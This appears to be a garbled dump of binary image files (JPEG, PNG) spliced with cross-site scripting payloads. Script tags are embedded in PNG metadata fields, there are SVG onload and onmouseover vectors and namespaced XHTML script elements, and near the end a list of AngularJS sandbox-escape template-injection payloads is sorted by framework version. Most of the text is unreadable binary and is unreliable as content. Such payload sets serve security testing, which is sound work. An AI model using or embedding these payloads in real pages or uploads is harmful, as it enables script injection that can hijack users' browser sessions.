qե wUa/<0uTʟ#\}c9`b*pemJ7dk2 0ZAv6MuwvGXf;riOrŠB(35e7n=<H ^gx;$/e6CG[<қbX43J-Ӱ~ 2Gb?yB˴ͳڹsu2> IaNSo91"dV#ҕ =B_1oSa@сvn=[$ J<Ϻ輰^^ RÇT !
9=k e9 ZL}YڻZϯmU_k|d"ҏ/Ht
>S͎"e"TR ֹ#FM-5Ś' 9)CkmP 3|pJ餛M+hP0ZܬFȠ1A*.5)W wOgw.,yټDO#]L֭`5,rv|ȕ]i(yicm(TfR?g8JՋ8(鴛ͨRyQ4F.hNRe'0K.۠_3Rl:Ngf*C/]X3Sʋ6%0TAŭz<KI $'f3Vkލ8knKfEa *oM>֬6^b[ |b]ljB1 -^!1?}4i#1ͺe.7/+;5s8:}?e S<n= ظH3 K=VQ뗶oA3J/Qԫy( :(xN?sv>9<4@Ս*E{tbd[G-*Bi)oae>;(ӃArL>:Mh30Wwƺ5s4 Q9O3^!Wv6{(u2%bY%1MB8a=9?H\/Qi4Lޱ-{oO , K}Y* =Te] MUQ/H{3 ݴmg9+1tB}B
%(Raٚ@\s} A䜧CvasXa7-HO>ڟ- OXEӣa$yIEe'o^e)B&Xo kʽcnۏ[:86 wi;U(YTpd
x뵵^QKef:BP *- ] \'i.V\鄹]ެ^ ,*?Q|7!s7n>xҹ~ˀd4s6kUZvN!dB DuV}> wVa" ewP0v>w@E>T~fD0.GSݞ@ 'i]Ŵ Xy[#ra3vUw~YX2-[< OJ)A*F]۪_߮ja
T/c >m\2, Gbd&?=7z~ZU gΥ8ա'MCr
鴤. нwm{*c]Z6UqnSkoɊSL'%u"6Z %Ř=ܨA98*!w8ӞB^Dͳ6*M,U֑~V凡T,k@%a)Jjڧ|\jPQ dY)n6JP:74Q^iOU{K IVD|6D@P+&8wڒmDʢ @ S5* _ 7T @ut\H
aBX~pҨ&vA|2g E` +Orv RϧwxAj-N{C%v:$*I^]kxfcXӌ%6ˮd!
/Y`w N4 qϳ!p
ZyVWo d-p*4ltax}m ).hYN ` i.pt`[0,trw摭|_w$Kɇ,jеh/pT= 6AA!̹>:vV(Rp@.wgӶY3$mVS4ʲsIeDBU,ZN#Sf}3Rv`GgzR|8 ;A r72><(Fu| z<^4rԼj㹃} t|1.,}8{/[߸ Kgax
ءx:QH }梷;kg4Ro n\\ s=ze.Js4s}wԪ"5b-S@w.' %!%P YUU9mѤ@ S
'>;dbC/z}ә>Jʽ;dwǒ%t'4yT6Xbp L[=t ע;U敭 e_[Vo~yJl-)b/S"w#gX
|>2jʲbE ,d "=/7룤Rfi7 D +Vc-%8S|O|ū?IJ
* K]9b
(apgjw0V//~8td}{x⩣>O>r^و)s]O hrZ~nr1y A ѭ+klLKf1QPmЛl^Ȓ|:< D7խ:< pQg[:T>:T!//,t9n v,^fIEb <~\uik^,CEi1C̈>yƶ;0
심ǞAy\l:&6}ι[v%wGn ,FEG)MuVt.Et(]0LB7?iJDyQ)cq
k[#)Q\dbyNۢ;J8^w6
ʦBI()4 K)Tpiv~=Y
B(.Mw)mx{w6h*Ϣ<gәWP,o]ٺwq%ѴܞP@bR'"{یdn > &>Ǘ *fVUe+7;1&-GFo>w=H0. Dhgk ] yb#LA&ENO
U@},
UeZo6惬@8o. 8D Y4!E$n\\ˣF-8iAv2#TvdUPWpV ('^^9OuQXAйs/o9& ![p\<.} s f@]*I7d6ѢR3}u{cL{rbK$췺%",II}>A"f(ڕ
TVG7.D O (KyyffkḳQzB{6`+NO~v RmwHɏ͟<{|VR' :T[F鳿eBAɉп *@k><^''=$@ӮQ^Ek|R%j> C ==^t/^^?}E .[͕f6q\@@Uǝ/BgU USkMg0#`I|2PXGu,k1'C.
#Qp-Gw'bgLn @#W4NƇ5 rʎ r{w.> GY %$V e//{}}t1(;HƪS?hCr`c1k8n(8; ? q 6ZN];EJ{ٛFW6 eޱD:hZl+;4{)|ߵ6ʋrX:FM'ݼ̅_`ȕ_6zTkIySY9CVu0ߛ5_sx||Y:ʪ _; ~P?_)41Mr,1iQ@3@d&KblOH
k}NJL @GWثENJjv:_ @ٻ
ϊ A`~<n (+xNYg/Z'jqtb jgT Q06|#^t2.9BEB qa=
Hn FW 7E`sy-*>ѮkG B'wym2Ps,K\!ᵒ#UW|hK"{Ë8}Z5 앖̻" "'qFjgΌK^Svuuk>[|rģ<IgFP ,60z־r;D75[smR_>"<ǎ5+mOd%8t pv4R #'o <<# \Χ|fCȎ
{ׯVI[W˼SQE@V,aG^ fZzj*: "L&=5);rndb_ח q)'sqZ@;wU=W
Debl2B5T{kև06-' 6ݛWwY r>\/yrp؏{43uug skr@ %HI 3즃 rM(_KU)յpzG~W!|Rf㩼H 3.:GYܸ5!"K0(klݓ, ܝ[{ֆ[U`EgWl2ѓA\}f{ '=,7"JnUFwӣ.&;鋫dSgzj洎2tq^ߩo 19TLam_af=gY -leSׄH*G%)9FN؈t<){!۶U()刚mցK
4Z@ѿW τt>]4y MR-Ne)/.BV W^NVOӶ%/Fa1 P߸}a- /r5iQƳ^ p>}<eʫCg?x OJ(]7 ܀PT7O_ aOxHsRpl MJ6$pHu =Jv,ML蓗"~7 ˛5:}a'K|)340;zEm3 rm$Jp#,hm ELMvV 6|xx>"⑉"Ř(um'8^@,k6ȉ52}MMɏNA%7
[ˠ) TL u~QX'_Q tRJRdMҀ^Woo\
0-0yY(' Ȇ"2ӎ\Yp3m;M-lf ëFe1hP ϊ$~<pɽL's!;]7[Dײg
N(;J>铱X \Rit.)ouD?#k
ѻG{/^#S| ^ Ե/ڌ{ҁxcR݆t737dĔl2-P JܠwE\/R Ff3F
/Vt?Rgv>{J31 rWyve."Aj1?+mXGAFyJCOMjXf zu`N~;g[ vqcEEP2sj<ȼ,?ݼ !#0;|l-l͋E)ֈRl:UɆ8ٵKK e1AKヰ P^"}Xef')%&c_.6Ȁo+1ϡ˩ h >lZ| 3<<3*OٞvXH_0"I fPr}i`7-o d^*,`Ew e\T)y6 fvv!Yh(k<W<6'.jVPtQ^32Ü(. r(0NzS ]@Q T#.j/^̨@qӂݏp
KN9<({ܹ -o0=*Eu/θ^\M?jGU!-5'(*NrKA/
IGK)ŊR|6mw3b$yq=i4ϟ|~ _}v+2rLו^߾\ #B)#>%4a榎}Z:mX}a ai0ȥ;`&՚}pfbo IC,۟v.]JXS o FAV~V ɩ!]y}_f|`d?;͐zy;8.ͧS)!SPh!zzsgxe>T`8WҒ ۂh*RYAaNje։COz?o^9*x0d(fK2`Ew
TqLr{/0# :AO,+VIXY;,,]Jm-blH"rPr[ǏW H{=;VtG }r8v&, 7BGwQ#H R+j'
x*E4"EWPKZh^:{RQ%~G/gG O KYL&Lh
I̷697bPz} pӲ3",M=88|n76FOIڌ⎽ #4(a>s|ykdGy[/TVl`&>T,'⌊ Dq
fٓэO kI .s(N^ގ cK|64(b\2+z*pnZ(Ut2H> (d-:7.Tf:tBin~g<K}ݖc6z86-m{#TV*([T|P;́~qCl2I]x宁ڷU7k ̧ۜMe)
v{ tQ`TSW gO˳٬?pnT~u#2Q!ҢjPTvn+ 0_~j 7oky;B*r7,U _zCkHTT\HeCT&-C3 $nKZomX2ǟ
`$]ͦjaO܈VD+ Tj] (DbZ,Ѥ΅VZH< ?cqVw=l-T tB6j$9;OjRD`VXU}9Gx.3 ]d_B L=X)w43zMLAyu?UX9twU ќWg()1VUUkay34Eu\k
t4h^{ >nLSr~Li 3Dw V@Qg5!@ڷn׳iG#N
iaatzNCKϬ4 y,Y .֦&
緰UU
\xH/]2>:?QP1BN;j /K{+8C;Pc-hcDc9 4 z}E~2hmh <, %ϟ aJ< Ǚ;sD.3Yyzpͦrb`_ rjdʒ2ۻIiJ@?ڜI-T{'} 8 ܅͡ AQAy85'>OY;B#p譩dI%4L8r1̳B>OYXuee }u+QT@Gpugl "vJy8 Up +
]2+Yd1>G\
=gXXesR x=?/' M-^/IX 7%3qO#|c',%IX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8CX}3W8C&GqR eXIfII* n t | ( 1 2 , , GIMP 2.10.8 2019:12:02 22:17:27
JFIF C
$.' ",# (7),01444 '9=82<.342 C
2! !22222222222222222222222222222222222222222222222222 "
} !1AQa"q2#BR$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
w !1AQaq"2B #3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? (0( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( M~t Vqe }rC'˖?tנ`i$dYE+ 4g݆K h YEz#W >1~K_tdTeYEz#W >1~lWEO_W ?ό_ _G/dTeYEz#W >1~lWEO_W ?ό_ _G/dTeYEz#W >1~lWEO_W ?ό_ _G/dTeYEz >1~h.# XZiUl89; eQ^Q@Q@Q@Q@Q@T r5nF
Fuz5 ?6n-9%k&}Ҭiz^'C+XN=z LCQKSWuf9#ڬWȴϧM5tQP$cBqPnI]QYW }Q?_d{Z̾Fҿ J ~Ƨ=?_yEf o_ K? Ƨ=?_yEgo_ I? Ƨ=?_yEgo_ RrI;TIҨ_5VDr]0Aس)E /F}?
ʯQ״մ_3k 9 e8 5~+[ 7aQEw!EPEPEPEPEP2RJ$f6*6D.Hi߲ :v̧1-ףׅ%YNA ֆr> xG{n&KnU]B-F[Y( CV2qiZIIY9}2 zoGnOB ĵ<BRRl]BN eOSGSWYrjz( }=M eOSS@\4&3Ӭ屼hҩKT&ʌwGiZZGz J^]s7P6-8ZD ,n}FӿUW ːj0/Jc]Gqw6C*G" xzknbh* jtf%ʟQTk!%8Gf|'n($( ( ( ( ( XjAդuT,T3ün_**B3f%%eIIc` }pIJnG04
=eZ A56tDk1,ǸJ: In
vpջe*[ QEI<2[ʥdBUj:j2oi%
@> o ?Q c$:W_Z]cLR"/A^^e<E$ROO/
E -I |
?~I |
h Kǫ ?E}g- : }GVe=+|[퐯 0 ĵx<JRR1xwBN kӼ i gs hzן:\M6m S?<8*Rqм %ѩ~Oh+[1ȹ SȴϧM5taH5 He}q^lA0E{-yt]ǜ W[m Q^Q@Q@Q@Q@Q@Q@KyD; GpbE5嵩T,O٦;d f8OoN`1>ƥ=FE`NATSFÉ@;kep`WSiZE7ʱ\2m s<7,v{kG_E?1*A .2ٞ\&%(bh!I` J}q>
1n:O+aB>]V AA5<r Jiv[>b s,nWedcSA% C*:WG˴ӳ: f-?'[Du$S^djb.a% xhrW2R鱷U,䶔e\u>f'G(+3ȯ䰼QC -iW3D>lן+IKSqxwBNEWQQE QE QE QE QE Ex?WE&l =VdYҌWg
Gs[7 |7Yo -IM dRs(O3X 7 G>uLp{4pa5(=Mi2Z F0pE64<+ LW;_AʒF]TƽKEUӣ`H>YѫH3@Y$di0Hj*Mw[ ]ZTNQ\W?G?^ e~ 1ơ
Āw Gj)nb32 }+Fh :P^h|¯ړ:w+G-PE2H, WUHFpq)FJQIIc` \-ŭA Ky ?K>8euH# kͼK 3P,{ѻ XԦ">ݗPJGŘUR^UQ^Q@Q@Q@Q@Q@65kT3͏z"c?'V58ߩ\/ƃ
()V
.|v)5{PbاoV%vi}qbQL;`e]S+"ޟo~3Ϲmm%=h䍂#qc:u+W}iRJëQB7)3O1vҢ*Nz$%؎ZEn 3z-fX[6v7'&p <U[{lZ(f
k+ x yI$wr8R/g 3˯S^AEVEPEPEPEPPO6ѵz$` {"Y\zLh}q9繮Zikn$m ^enz=:\OM( k;Q m SN$ JьnRyyFڣwRIY [mJ#_sҵ4[# w=fi}w VWR P Um#
Kh*c95v.$
$Ij{q1o PWB]za du8֒y~ ԃ?ƪETƥ,cucVh7'vz$5;!Ovqo sנ ϳbrOZһ}\U^UʺEWyEPEPEPEPEPEPEPEPzU6g*p,;G khv? OPfԩƝ*ycjW&Q$Vfs!][h @kyܳ8$k K͉ʹWQjgSsK<PMW &yr>V>",h
zeb*dzt)FvtjW>\~R
ʜ 䢋#7?h/Ez<I݅QTHQE QE QE QE QE QE QE UkO֟<?SRi2,5>V>EaT`
;`X~ooj^f"<GB$naEW9FNΥeUUOG VkN*əPF7#v[myRV:QEVFsJ7@+FFvjޣs5F<5.H=j˕l(( ( ( ( ( ( ( ( юNs^0*5V:+=EHFCJrQ\ߝ/oΏ:_ߝqM: % F 7> % F 7> % F 7> %T!ڧncy F,IC i'&Lw+
(Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@ &tEXtcomment /><script>alert("3");</script>3 (tEXtCopyright /><script>alert("1");</script>SCo %tEXtdate:create 2019-12-03T06:17:27+00:00< %tEXtdate:modify 2019-12-03T06:17:27+00:00aa tEXtexif:BitsPerSample 8, 8, 8>' !tEXtexif:DateTime 2019:12:02 22:17:273> tEXtexif:ImageLength 22945Mz tEXtexif:ImageWidth 250s tEXtexif:Software GIMP 2.10.8IDM $tEXtTitle /><script>alert("2");</script>3 IENDB` JFIF C ! "$" $ C "
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? E <svg ONmouseOVER=alert(1) > PEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>CWSi xeTRFږe1@44 d0!R n _$à,
+If:I'kr^Ы+ L4=;~g9_ ` Nq 'ם#q<0-V/*}ϳ[4:u.Ύ$7f5fO*퀠C\1lϠ :^T*7zKj 3Td@,ϕ#ԖNضMC>4} +RMxgF/xd%G:`-ھ&* HC4*S pi Y*!أ/6obr/I$]G'JlbSn4CuOOiXX _.^woN_wD`U: 8>|F̕`w,Yi~r;zළl fwPC*UAIElibxa] sCaTCԈ#nշ#sQwwu h&'D :w
:^ 6M:6#cu|&7v>8 $h]W XߩgݘC6)f-ma|."ILfnJMYޖ.X(B&numY5vB
a,( qEBY J#W$'I1 BqII%Ԥ37I"xo*nSJ}iJwI{ mzY^6ۛ_@V1KWJNj\rn ayP~P.Kߔr >Jgyc) exQGB ỵ2 hG H y /wl86)<:S`v s |)4_B(-CD~/459Ӵu q:(HGOql?6J\ ד 7> D( 0,Lx$7{ 8&`g"m(.JA/JQ/ʜ>'+|x VcqZ7e?S<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><?xml version="1.0" standalone="no"?>
<script type="text/javascript">
</svg><html>
<script>alert(document.domain)</script>
</html><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><svg><desc><![CDATA[</desc><script>alert(1)</script>]]]]><![CDATA[></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]]]><![CDATA[></svg>
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>PNG
IHDR d d pT tEXtSoftware Adobe ImageReadyqe< -{IDATxEKs9xd$# J$ %IR$(s9Ñevnv>q;;;SU\.= =ܿBCbQH yԑE YՑs$sT:x8إ}2`0P@(j(DJd%[T2~"IN7XPXrC4ޖwnȥ7X%9t=I[ձF ձ$@BC⨟5QqKyl<R<Cv)&L7ݕǮ(N\sΞ'e# ~yoQuߔpHhH:#q~RR# R*S.Ǐe3qSr$ Wԍ09@ >X%mD1QRɒ4֨3iOQC %N Kl1U c`vHhHU:&@ ./MUi3w;! !Kj4? }6f8JrKlw컕Lڲ\&m_)nԥW !~SZVÐi;Vˌ]%I.o.+
_(G2ujfpS6%=
ɦ~UGd "
;ʨdɃ^EɪRlSIVJ9YKm{TX aj0 $,]0`+АXgguH qЀj
IrOQʀsͫ\5Ex7Hc}^W,9[fZսJՋ5$~ mt\0{a}2v߫ nS|VUvcr(_.T9ys$BfR{B/
{h]T gN MJu?KWӃ dغ" Uo7+ _#АVMZJg%+ֿNN@6 5+QEEl\ )TO U h%8^
57vlV FKgЖPu WqE@bF U6հqf:No9sϦϡ4t,UE=
Qh {4FCj-~[0깛(܊.6FU?IXk $dmF iOy0/Gvg[H760IU~h첥MW"gIFf5j]Wa5k铤orYʔ+9㈅PZJ(CCbDؘ4Aja S؞LC C}Ϲ @륇v{Ǚk^2@i}K~2a2l
FxFaQ?H.V_h,pp0[@x梁-
:"tUGNFzJ|xW^:W}* uf
˦,X~c0ɛ*lmK)zgGN aL9J8RE;Si&@<dT^FxTSG0V!cS ^I y>r RGǕzKْ=Pb<ZhԠy,5W}lGD1s`#W.:
a6PMvPL:>Bv&;[ G zstW9_F%GwimC\ْ֨sھG(-N,#\ FC yvjW^FՌצ
&RN
ƛȂ&H4~hHƿ e8p|f
Ͱ [ㆨFF0m8e֞>Zt ?.
"}ޕS1UB;ޯ}-訮rFB_704d
AS8p|LNPF 3y
4ݪ8~e'G7%b4|8um} *F탬DƜY/{t'cXC
mASVyXcFF*6.!S,Ȫ ieCfūxq`+}54v[2 dڎ5* !N|8phݛ>'zm̓ ,̙I٣o;aH\)Ҫ=$@Ď#cƒ˭r9u|Zw.߰#/0lqJJud 7.BoHl"" n "6y7@1ZU BRnyHF3^)*+!痌IRDYC_8-ˏ쑙
<?\|R-*et)9 ,?/rS #%dtW'[S]-4OFFl+7[ddpE&SYMU/PZf*mR]˽"oՓ: :tHl">}Zڵkrm/>ҦM+2e
HѢE%s$7/;cn4K NH-.L
ŵSޏ8] )|6 BTmyU
QzӜͥ y9:Uߐ/XJ; h?.Ν ZjIݺubŊYo='-^+~{xXy pJ'R)ZQ&k%O~}^*r @$DА95uݸwǵ {ԟ:ewn hR˵s̒|/:"^7\]Ou~pOw=ח_~ʚ5K10£:/gΜQF߿0[3FK=} ܿw;۰X >|Z|p~47ߟ^C5궔V}
rB]SM(-KT \Dیѩôg5 Eg1uT:/,6Q >\jv/{7KFA>b;LH!:ZQI/O6jsH'{A]Օ,zΛ:cٽ
1ɇwpp@ )XJ&(| | kIZb/_^iӦ<x ҟ
ZRL)]:-;5:y
wlI Z i_* eDi=4eU._.PśUS0?Tkl!ڕyY ɓ0Ǐ/ .K.2=Z)a*S'w ͚5Kk֒%K$C䲲yopհPd
|V' f{/YUBcͨ:IA<b5paԺȉt zT/Hp)վ}{iҤfddD[oɉ'$VX_`Nd ֨QCϒxwJI,ou쵕*6fJ:E^ LeՎekyJCֆC@0 1A9L1auҷ;ＣmyT &VTI ? | >|:t ݺunzTS|l
by44h\>_"!͘QHEl5Su@V0 |MHW̑IUD_Mჼ{2dɕ+ =4i9Vﯾ|wK/E]
y2qg
O pz^# bs J̈mIE,f+7~HE=Y
gR 0KԢq`4HȜ7Zùp&Pӧ|+Wvɾ}d ^!+'N 9v 4Hty̙m"}eĈڷR%F sXR E@%^q9J#ݬH%l p R`g #NH;i-R"c7ofV ucN/_.*Tp7o߾ja`+?R ,FP%ʕ+H?D#H16/&
kMLʰV6NuIWriǟe'_(mpÈ(epDlW gΜ~o <Xg.ǏׂB(%JTdI a@qƕ3feرr}JFʕ+:Z1[~ziCψ ͧFlSw\)I4ZWCBCͫ
f JN]|Y)&# jT;v)Fr ϥK. ʘ1c2+3f2eȔ)S3wǢcǩ 绍ϗ,= ٘Li '
)x/)D0^#5kudqpN 1ׯ_/Ew"(EqwTjJN@ &8QmJje^ VџS´>#:(E$0N̙S@tuT4=zkZ8pFp:ut\x"O<8qbm#O@KbU7
ugV}vI~ .^(r,#1S<:R5$BkWh TH72w\OZe˖ŋ ҵkW-|3qD=#ΫVWAhҥKULZB,%o*^ nQqY̤KRFz^wbPB:|g!S ;]I$Ѧ P uHYfs06A_O?$3gq $*
W_}HhӇ3L UG˾у{+|_ACoj@ |CZ$yV%LP1cf MGd˖M<4nѣr-`~PPQ@r"ʖ-+R@S^/.gcw;.E3聀 q&i2i ZbIetQc|kdmt2rH=rqm۶`iӦ:!8y'#\ 8{l@e4kѢ>SN:5n8Oih"zF,Y { A?T><E?ϝBiBv *{T|aEO.˧ȉعsTZU #w,s$KL3gϞҹsg {7>#AIY
@K 4ƯTK> ͏\8z=G YszNG.<
)m3QNO+yq"Zڳg74ݻW\S@@Nhh>)
bě0'O
aÆ~ؼyAG=r$M GpL ̛7o` l%*?6O[֑`3ː!6y5WZcR*&"0kfr~kYSpp3| 9> Sɳ«_(Z_AAs73ڝzr̕b7ڵKnR
TB[D4۷oU> ,Pƣ
H0Y 6U|
]!3d
X3 L_Ra[9N'
sIv$K-!!¨ F(?F0˩vG
}sDb
a7p}TK.BŋLH+NZ;z
JkL Xnye <@Mhk2zf0 3.Cv
̄l*hI`17 *c BuZwCh1K'OݻƜ%<3Hܘu\Q.;fͪ0)m*%vxlYiMQ+ uA;h#4i7ЎCjǎ"Q(}Ν;:kl2
rdg_t?_Ph0ǽh@jfSVnذAHZ 0L$
D0 `&<S˖-9Q@Xf"x|9
kDT %H` 'b$=ݣ:Z.F m!rh[Τg1P2rxV# ֭[`ϯv3#xE5J4C^bDs8; oN{&ZKyA88Nhc D GM}'ƙT: tk^!`0s % qQAcKf
mC(Ing hNӎ7k"F WHb=:^ 0!di 3#?k`(v+f G AH"aX[p8p#hbB)#SH&EV[+oF#w}+] j]FJ/Zʹ_ye|zKF ¥(Lɱ2f~*U7ov ƃ#Gp/Y2i|f @ 35'B;@{ ʑ+ uu1}t?EҐ֊K܁J@z 缶Q ,% D
0 )h&qatY@\ BÀ|{ ̮Zʝy PM%]n<̐@ aΡX:Q us=gׅSr[536$
i&-S PN: Eq 0*Dw#K6(+@!0^0 C#3ǔ'?W+ {⚶F 'ٕ=izh%=qpy
,hqF;eE` (` SELEF6=2R&L%!A r؉'Ĵy͐1ŴGO*zpχ9>
Ja-[]o[峾!FF ws]{[ |nMį{7bxs }sru]̄K!"BC. ׃\AAA.e2ՈvKΥ,)4RZW0ؕ$I
TL_N#F oR皬>g\O rzu2R{S}__'|cew?00 ?
;ؕ7KaF1-~N8}zoIg&sP>-5
9ds䜒&Mnj0+]qA_@g|2o%rfdC]\K tFL ,Ҿ2ni3ɮb.b߃ͧHTtN{ޅm$0g&jT9%`U@8h1/J"
9Z 20{nPWdE!df 8|З`Ƅ&uO@ 07Ac8{튔#\|r8VZ0A3+ЭkO }miDLґG =L$ E37PauH8O>D M
DlvwG&ΨWI,-w$L'eРћO-"7IMyvK [?+vJ.^B*wbȔ4vV}LJES3voW.H'̑8zDD-SMAtD٠*m5Ĭw@uJM24.5G5sQTRߪ9K .=Ӏܴ5vt|S7א18?t[z'/'#PcNwL>` E`bKxY&~AS |Is(F廡>Kg ;C;uW/7/u, ++>j8Oe`NuX m!Kn75 Cwl?N :13V S'3|7Ht<|:x t !e7kT"?G 5,b321G)ĥF L@<y$R $@I20@A⑼SBp]#<UR8|"6A9v-2Ԩpi=;Z;<p,P)INf5(\vceg#j|A af*j^\iG:j|-D ! jg1L8 B{Dvն#2hk톼 mOBòrD Y
zӟ,Ar8ov"abLIHLl gtY9baVY*\~XÜS(KO_5s2o
͢ߘYO"Uk`Ϙ2~
AJR#e0ufyu闉eN`6-63a #ZNt>a, wHRAC=7ng76V /s $ajzNmZ 3:- ښ}4.PDr6ozoZ9aNoI /߾:W,rF!6(bAvɁ!<b}8 =@iW[C5j%eIE*:N!PuaOƔv״ڼ\vԞ3A 7 0/h ?u
IFN4h9 F=0 1( :g 'T[;X̸Edj
[hJiGI &I!e^F`W6z<{{X Z=tM: f
8P5`20I&ԉa.)|
Uӣ؞~gmYf$ږ}Yz6WHt| eM%3Czt ]bj[}}^gdu"Z54xE %! &lj1gD 3F,H࿀̘+F
N 'k2 4^yѐm#+KtpɲyQpJE+6͍:u1CǾy,>zvAw$AJS(R"r|`
4D "K Ab! ~ >e;ɧ,Fܦ2ϋ.|)g[
4哷 ӿ@"KSu-C&Gh8[&4~ nY ^4 #6la1&!&O@,x%JmeMLc]S8P8vS]E\5Sd4Dܺ~R![~iº^ S @{اTE@)78_3iẅZ0
&cKwSaלj r-eN[vejʄMKpBé Br\rUԯChShXۚ^(4DL9J'+U8R}iXbtT= a*"AiƉ7L*Ѳ×iAW1 '>J{SH#4;D=6gOvdRv\O `6]=
57yk,GZKLJJKFI#83LOHX~t,9[1-GѴgɧQzEk
R +i)niRrЄo"4`wM䴙W +rIқUv]>#EDpƽDf72Y 9ZO kjgH:[[41I(F}y EXk'xt)cKt #T;Ǫ`tr=6|Gb|{ vF^+Ywtmt~bd q[d xd):zGuSfaޗ 2qg{wlڑ`_yDekBˆ_VNgm>=tK;֟<荗BPƙ:ȚOCtQnzԘ Ѽ]ܢ&!Pu§T*Vjtw9v%H^R9 |K6d#W.K ߈7B
u! 4?`:ё]Fۥ+0g$QK[3*[UD6q
ͦ^>t N6(t B̀}xɐx21ja*oLf>5fv㧬!}HkBzK xRcgX &V]۞nˣGT}7PE0:4+ܶ3hei}Gm!:f0 ^QIW5#A1c |Pb
ş
JJ(K+u[A|YKclL5Qf.W6
BO/P{]9Bb/~ RvbŲz u*0Ќj/<۶y |TFO},Q|vHۅQ1옭DD; ũD FrR"
$ASEƎҘ*gU*%ajUИN@94oN{ C}0]m{"[){rA*Zj{k{f}$T je.ݼEKq/ 4:x65Jw 8M6UbMCtx4d2F(>B
-E[MA셻 )H#YO˻2ѱވ 1mOCCMڲ|Ȫcnc^o.
^(w$'7vNߎ2:"XcݢOC|5ȕs;_ ]6IoE@` lk/8ٳo sN~K N ^i"{r%FuCL-FOK,qguH qЀj
Iz-k91
se&`@'ІhL٩l-] +H)ҩ`KM%4lp ^0pZ3Jߗ逎F ql:u( !{@ܛ\'6 żFtu`f$ IϿG Oô<m9r'h3jڎ62IFl13|>_ke(515Ou2a$ɥa2VpyQ&5snBO @@4gT\"佢KeLZFGCNÌ $3疗xveⶕz\0Ug7?#'腗nhMڬb8-k钺[ iSKrFS+X%tɄ.y Se
1%mQimJ+ `BX%?+'#-yOԙ>´%qi:ىu}fvI?+wn.O J o6 cg ˊ6-㊊?ش^zC<Q¥QNh{Й- U :1G*!gw_[RYH1% Lp-\ A꠬IȽ$ {(X' յs tEXtComment "><svg onload=alert(1)>h IENDB`PNG
1%mQimJ+ `BX%?+'#-yOԙ>´%qi:ىu}fvI?+wn.O J o6 cg ˊ6-㊊?ش^zC<Q¥QNh{Й- U :1G*!gw_[RYH1% Lp-\ A꠬IȽ$ {(X' յs tEXtComment '><svg onload=alert(1)>RGBO IENDB`<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><script>alert(1)</script><a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script><html>
<head></head>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]]]><
{{constructor.constructor('alert(1)')()}}
AngularJS 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)
{{[].pop.constructor('alert\u00281\u0029')()}}
Example available at [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D)
AngularJS 1.6.0 by [@LewisArdern](https://twitter.com/LewisArdern/status/1055887619618471938) & [@garethheyes](https://twitter.com/garethheyes/status/1055884215131213830)
AngularJS 1.5.9 - 1.5.11 by [Jan Horn](https://twitter.com/tehjh)
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
AngularJS 1.5.0 - 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
AngularJS 1.4.0 - 1.4.9
AngularJS 1.3.20
AngularJS 1.3.19
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
AngularJS 1.3.3 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
AngularJS 1.3.1 - 1.3.2
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
AngularJS 1.3.0
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
AngularJS 1.2.24 - 1.2.29
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
AngularJS 1.2.19 - 1.2.23
